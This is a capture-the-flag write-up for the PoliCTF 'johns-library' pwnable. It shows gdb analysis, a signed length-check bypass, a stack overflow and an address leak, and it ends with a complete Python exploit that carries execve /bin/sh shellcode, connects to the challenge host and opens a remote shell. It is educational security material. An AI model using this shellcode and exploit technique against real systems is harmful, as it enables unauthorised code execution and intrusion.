Category: Pwnable Points: 150 Solves: 86 Description:

Do you like reading books? here we have the best collection ever! you can even save some books for future reading!! enjoy noob! library.polictf.it:80

GPG key: yowlijOshSuftEvawvIshgugdecWikBi

johns-library

For this challenge, we're given a file named "johns-library". That is a 32-bit unstripped ELF file. Strings doesn't give us much info. Let's run it and see what happens.

 

Welcome to the jungle library mate! Try to escape!!
 
 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title:
4
TEST
 
 r - read from library
 a - add element
 u - exit
r
Insert the index of the book you want to read: 0
TEST

From a practical standpoint, this app is useless because you need to know the index of the element. But the CTF wasn't about writing practical applications. I noted it wasn't stripped. Let's take a peek at the symbols:

 

$ objdump -t johns-library 

johns-library:     file format elf32-i386

SYMBOL TABLE:
08048154 l    d  .interp    00000000              .interp
08048168 l    d  .note.ABI-tag    00000000              .note.ABI-tag
08048188 l    d  .note.gnu.build-id    00000000              .note.gnu.build-id
080481ac l    d  .gnu.hash    00000000              .gnu.hash
080481d0 l    d  .dynsym    00000000              .dynsym
08048290 l    d  .dynstr    00000000              .dynstr
0804831a l    d  .gnu.version    00000000              .gnu.version
08048334 l    d  .gnu.version_r    00000000              .gnu.version_r
08048364 l    d  .rel.dyn    00000000              .rel.dyn
08048374 l    d  .rel.plt    00000000              .rel.plt
080483bc l    d  .init    00000000              .init
080483e0 l    d  .plt    00000000              .plt
08048480 l    d  .text    00000000              .text
08048804 l    d  .fini    00000000              .fini
08048818 l    d  .rodata    00000000              .rodata
08048924 l    d  .eh_frame_hdr    00000000              .eh_frame_hdr
08048968 l    d  .eh_frame    00000000              .eh_frame
08049f08 l    d  .init_array    00000000              .init_array
08049f0c l    d  .fini_array    00000000              .fini_array
08049f10 l    d  .jcr    00000000              .jcr
08049f14 l    d  .dynamic    00000000              .dynamic
08049ffc l    d  .got    00000000              .got
0804a000 l    d  .got.plt    00000000              .got.plt
0804a030 l    d  .data    00000000              .data
0804a040 l    d  .bss    00000000              .bss
00000000 l    d  .comment    00000000              .comment
00000000 l    df *ABS*    00000000              crtstuff.c
08049f10 l     O .jcr    00000000              __JCR_LIST__
080484c0 l     F .text    00000000              deregister_tm_clones
080484f0 l     F .text    00000000              register_tm_clones
08048530 l     F .text    00000000              __do_global_dtors_aux
0804a044 l     O .bss    00000001              completed.6590
08049f0c l     O .fini_array    00000000              __do_global_dtors_aux_fini_array_entry
08048550 l     F .text    00000000              frame_dummy
08049f08 l     O .init_array    00000000              __frame_dummy_init_array_entry
00000000 l    df *ABS*    00000000              chall.c
00000000 l    df *ABS*    00000000              crtstuff.c
08048a74 l     O .eh_frame    00000000              __FRAME_END__
08049f10 l     O .jcr    00000000              __JCR_END__
00000000 l    df *ABS*    00000000             
08049f0c l       .init_array    00000000              __init_array_end
08049f14 l     O .dynamic    00000000              _DYNAMIC
08049f08 l       .init_array    00000000              __init_array_start
0804a000 l     O .got.plt    00000000              _GLOBAL_OFFSET_TABLE_
08048800 g     F .text    00000002              __libc_csu_fini
0804a048 g     O .bss    00000004              num
0804a060 g     O .bss    00000200              len
00000000  w      *UND*    00000000              _ITM_deregisterTMCloneTable
080484b0 g     F .text    00000004              .hidden __x86.get_pc_thunk.bx
0804a030  w      .data    00000000              data_start
00000000       F *UND*    00000000              printf@@GLIBC_2.0
00000000       F *UND*    00000000              fflush@@GLIBC_2.0
00000000       F *UND*    00000000              gets@@GLIBC_2.0
08048641 g     F .text    00000067              read_from_library
00000000       F *UND*    00000000              getchar@@GLIBC_2.0
0804a038 g       .data    00000000              _edata
08048804 g     F .fini    00000000              _fini
080486a8 g     F .text    000000c5              add_element_to_library
0804a030 g       .data    00000000              __data_start
00000000       F *UND*    00000000              puts@@GLIBC_2.0
00000000  w      *UND*    00000000              __gmon_start__
00000000       F *UND*    00000000              exit@@GLIBC_2.0
0804a034 g     O .data    00000000              .hidden __dso_handle
0804881c g     O .rodata    00000004              _IO_stdin_used
00000000       F *UND*    00000000              __libc_start_main@@GLIBC_2.0
0804876d g     F .text    00000021              print_menu
08048790 g     F .text    00000061              __libc_csu_init
0804a260 g       .bss    00000000              _end
08048480 g     F .text    00000000              _start
08048818 g     O .rodata    00000004              _fp_hw
0804a040 g     O .bss    00000004              stdout@@GLIBC_2.0
0804a038 g       .bss    00000000              __bss_start
0804857d g     F .text    000000c4              main
00000000  w      *UND*    00000000              _Jv_RegisterClasses
00000000       F *UND*    00000000              __isoc99_scanf@@GLIBC_2.7
0804a038 g     O .data    00000000              .hidden __TMC_END__
00000000  w      *UND*    00000000              _ITM_registerTMCloneTable
080483bc g     F .init    00000000              _init

So we have "main", "add_element_to_library", "num", "len", and "read_from_library". At this point I just started playing with the binary, throwing unusual data at it. The first question I had was the read appears to be index based, so what happens if I throw large numbers at it?

 

$ ./johns-library 
Welcome to the jungle library mate! Try to escape!!
 
 r - read from library
 a - add element
 u - exit
r
Insert the index of the book you want to read: 1000
Segmentation fault (core dumped)
 

Well there's a start. We did something outside of what we're supposed to do. Lets reproduce it in gdb to figure out what's going on.

 

Program received signal SIGSEGV, Segmentation fault.
0x0804867b in read_from_library ()
(gdb) bt
#0  0x0804867b in read_from_library ()
#1  0x08048614 in main ()
(gdb) x/10i $eip
=> 0x804867b <read_from_library+58>:    mov    eax,DWORD PTR [eax*4+0x804a060]
   0x8048682 <read_from_library+65>:    mov    edx,eax
   0x8048684 <read_from_library+67>:    mov    eax,DWORD PTR [ebp+0x8]
   0x8048687 <read_from_library+70>:    add    eax,edx
   0x8048689 <read_from_library+72>:    mov    DWORD PTR [esp+0x4],eax
   0x804868d <read_from_library+76>:    mov    DWORD PTR [esp],0x8048893
   0x8048694 <read_from_library+83>:    call   0x80483f0 <printf@plt>
   0x8048699 <read_from_library+88>:    mov    eax,ds:0x804a040
   0x804869e <read_from_library+93>:    mov    DWORD PTR [esp],eax
   0x80486a1 <read_from_library+96>:    call   0x8048400 <fflush@plt>
(gdb) i r
eax            0x3e8    1000
ecx            0xa    10
edx            0xf7fb0adc    -134542628
ebx            0xf7faf000    -134549504
esp            0xffffc990    0xffffc990
ebp            0xffffc9b8    0xffffc9b8
esi            0x0    0
edi            0x8048480    134513792
eip            0x804867b    0x804867b <read_from_library+58>
eflags         0x10246    [ PF ZF IF RF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0    0
gs             0x63    99

Ok. So we can see our "1000" value has appeared in eax. At the point of segfault, we're attempting to use eax as an index to dereference from a static point "0x804a060".

 

(gdb) x/1xw 0x804a060
0x804a060 <len>:    0x00000000

The static point is our len. Ok. So we're saving information about the length of something into an array, and using the use input as a reference. This looks like a memory leak opportunity. If we follow the execution through, we see that it takes that indexed value and adds it to "ebp+0x8". That value is on the stack and, when you run through the program with legit data, will come back as your initial value.

Initially, I stopped at that point and looked for a write. However, it turns out that even with RELRO mostly disabled, the location of the stack was too volatile to guess a location and use a NOPsled. With that said, let's look at how we can utilize this. As it stands, we can dereference a point that will control what we actually print. We're not controlling directly what we print, we have to find a reference to it. But, we do control "len", which is what we're performing math on. With that in mind, lets play around with changing that value.

Welcome to the jungle library mate! Try to escape!!
 
 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title:
42
TEST
 
 r - read from library
 a - add element
 u - exit
r
Insert the index of the book you want to read: 1

Breakpoint 1, 0x0804867b in read_from_library ()
0x08048682 in read_from_library ()
=> 0x8048682 <read_from_library+65>:    mov    edx,eax
   0x8048684 <read_from_library+67>:    mov    eax,DWORD PTR [ebp+0x8]
   0x8048687 <read_from_library+70>:    add    eax,edx
   0x8048689 <read_from_library+72>:    mov    DWORD PTR [esp+0x4],eax
   0x804868d <read_from_library+76>:    mov    DWORD PTR [esp],0x8048893
   0x8048694 <read_from_library+83>:    call   0x80483f0 <printf@plt>
   0x8048699 <read_from_library+88>:    mov    eax,ds:0x804a040
   0x804869e <read_from_library+93>:    mov    DWORD PTR [esp],eax
   0x80486a1 <read_from_library+96>:    call   0x8048400 <fflush@plt>
   0x80486a6 <read_from_library+101>:    leave 
eax            0x2b    43
ecx            0xa    10
edx            0xf7fb0adc    -134542628
ebx            0xf7faf000    -134549504
esp            0xffffc990    0xffffc990
ebp            0xffffc9b8    0xffffc9b8
esi            0x0    0
edi            0x8048480    134513792
eip            0x8048682    0x8048682 <read_from_library+65>
eflags         0x246    [ PF ZF IF ]
cs             0x23    35
ss             0x2b    43
ds             0x2b    43
es             0x2b    43
fs             0x0    0
gs             0x63    99

Try it a few more times to satisfy your curiosity, but the "len" field we control by telling the application how long our input is. This field appears to be more of a running tally than anything. Also note that our value ends up being our value + 1 (eax == 43 not 42). You can try negative values for the length of the book now as well and see those work.

 

An arbitrary read is great, but it looks like we're supposed to gain execution. Let's take a look at what the add book procedure looks like:

 

function add_element_to_library {
    puts("Hey mate! Insert how long is the book title: ");
    eax = *stdout@@GLIBC_2.0;
    fflush(eax);
    __isoc99_scanf(0x8048890, var_C);
    getchar();
    if (var_C + *(*num * 0x4 + 0x804a060) > 0x400) {
            puts("Hey you! what are you trying to do??");
            eax = *stdout@@GLIBC_2.0;
            fflush(eax);
            eax = exit(0xffffffff);
    }
    else {
            *num = *num + 0x1;
            eax = *num;
            eax = *((eax - 0x1) * 0x4 + 0x804a060);
            gets(arg0 + eax);
            eax = *num;
            *(eax * 0x4 + 0x804a060) = var_C + *((*num - 0x1) * 0x4 + 0x804a060) + 0x1;
    }
    return eax;
}

 

That first if statement is interesting. It's looking for too large of a value. This is likely because we're adding this data to the stack and it is "trying" to stop us from writing too much. However, the relevant assembly looks like this:

 

080486f0         cmp        eax, 0x400
080486f5         jle        0x804871c

 

As you can see, it uses jle, which means that it's treating this number as a signed integer. Therefore, we can use negative values and effectively trick the application into thinking we're not being naughty. With this in mind, I tried throwing different data at the app and quickly found the following:

 

Welcome to the jungle library mate! Try to escape!!
 
 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title:
-500
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
 r - read from library
 a - add element
 u - exit
a
Hey mate! Insert how long is the book title:
-500
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

That's me telling the application that my string is -500 and I'm giving it 1024 "A" characters.  Gdb tells us the following:

 

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

 

Cool. So we have control over EIP now. The next question is where in all those "A" characters is the return that we're finding? For this, I found a neat script written by Sven Steinbauer. Replacing the "A" strings with the pattern, we find the location of our EIP.

 

Let's take a peek at the security controls in place:

 

checksec.sh --file johns-library 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   johns-library

 

Basically they turned everything off.  So we have a place to store our shellcode, an over wright, and an arbitrary read. I initially got the exploit to work reliably in gdb using the known shellcode address and a NOPsled. However, I didn't realize just how wildly those addresses would change from run to run, so exploiting something NOT in gdb ended up being problematic. This is where the arbitrary read comes in.

 

If we can first leak the location of the shellcode, then add that location into the exploit without closing the connection, we can know exactly where to set our return to. There are numerous ways accomplish this, I chose to go with utilizing the python bindings in gdb and have python try options until we find a good read location.

 

Remembering that our arbitrary read actually involves a write first, this is accomplished by trying a bunch of different values for the integer and checking if the dereferenced value is what we want. Here's the code:

 


# Set the break point gdb.execute("break *0x08048689") # Goal is our known input address. If this was dynamic we could similarly determine it at runtime. goal = "0xffffc9db"

f = open("possibilities","w")
write = 0
while True:         # Try an integer value
        t = 'a\n{0}\n{1}\nr\n1\n'.format(write,"A")
        gdb.execute("r <<< \"\"\"{0}\"\"\" ".format(t),False)         # Check our eax value         x = gdb.execute("x/1xw $eax",False,True).split(":")[1]
        print(x)         # If our eax value is our goal value, save it
        if goal in x:
                f.write("Possible solution:\n\twrite = {0}\n\tNumber = {1}\n".format(write,x))
                f.flush()
        write -= 1

f.close()

Run this for a couple seconds and you find that a size of -28 will allow you to leak the address of our input. Add this into our exploit, we get the following procedure:

  1. Leak address using -28 offset
  2. Update exploit code with address
  3. Send exploit payloads

 

Because we're adding another input step, the location of our EIP changed in our input. Just do the same procedure as before to find the new offset. It just happens to be 271 now. Note that because this application runs on the console, it would appear that the server is simply directing the input and output of the network connection to program. What this means for our exploit is, we can use really simply exeve /bin/sh shellcode and not have to worry about calling back, calling it, etc. You can find many forms of this shellcode around the internet. The one "gotcha" with this shellcode is that because we're using the "gets" call, we cannot have \x0a or \x0d as those are line returns and will generally stop input. That said, I just used a ROT13 encoded version to get around that, but again, there are many many versions that will work.

 

Here's what my exploit code is. Please note, I use a dorked version of telnetlib.py to remove the control characters. To me, it's just quicker and easier to the telnetlib than actual sock calls.

 

#!/usr/bin/python2 -u

import telnetlib
from struct import unpack
import sys

HOST = "library.polictf.it"
PORT = 80

SHELLCODE = "\xeb\x24\x5e\x31\xc9\xb1\x19\x80\x3e\x0d\x7c\x05\x80\x2e\x0d\xeb\x10\x31\xd2\xb2\x0d\x2a\x16\x31\xdb\xb3\xff\x43\x66\x29\xd3\x88\x1e\x46\xe2\xe3\xeb\x05\xe8\xd7\xff\xff\xff\x3e\xcd\x5d\x75\x3c\x3c\x80\x75\x75\x3c\x6f\x76\x7b\x96\xf0\x5d\x96\xef\x60\x96\xee\xbd\x18\xda\x8d"

exploit1 = "a\n-28\n" + "\x90"*1024 + "\n"
exploit2 = "a\n-500\n" + "\x90"*(1024 - len(SHELLCODE)) + SHELLCODE +"\n"

sys.stdout.write("Connecting ... ")
tn = telnetlib.Telnet(HOST,PORT)
sys.stdout.write("DONE!\n")

#tn.set_debuglevel(10)

def read():
        return tn.read_until(":::",0.5)

def leakRET():
        read()
        tn.write(exploit1)
        read()
        tn.write("r\n")
        read()
        tn.write("1\n")
        RET = read()[:4]
        sys.stdout.write("{0}\n".format(hex(unpack("<I",RET)[0])))
        return RET

sys.stdout.write("Leaking shellcode address ... ")
# Find where our code will be
RET = leakRET()

sys.stdout.write("Sending Exploit ... ")
tn.write(exploit2)
read()

# Build our exploit with the proper return address
exploit3 = "a\n-500\n" + b"\x90"*271 + RET + "\n"

# Exploit it
tn.write(exploit3)

# Clear the crap
read()

sys.stdout.write("DONE!\n")
# Interact with our shiny new shell!
tn.interact()

Executing, we find the following:

$ ./exploit.py 
Connecting ... DONE!
Leaking shellcode address ... 0xff97798b
Sending Exploit ... DONE!
cat /home/ctf/flag
flag{John_should_read_a_real_book_on_s3cur3_pr0gr4mm1ng}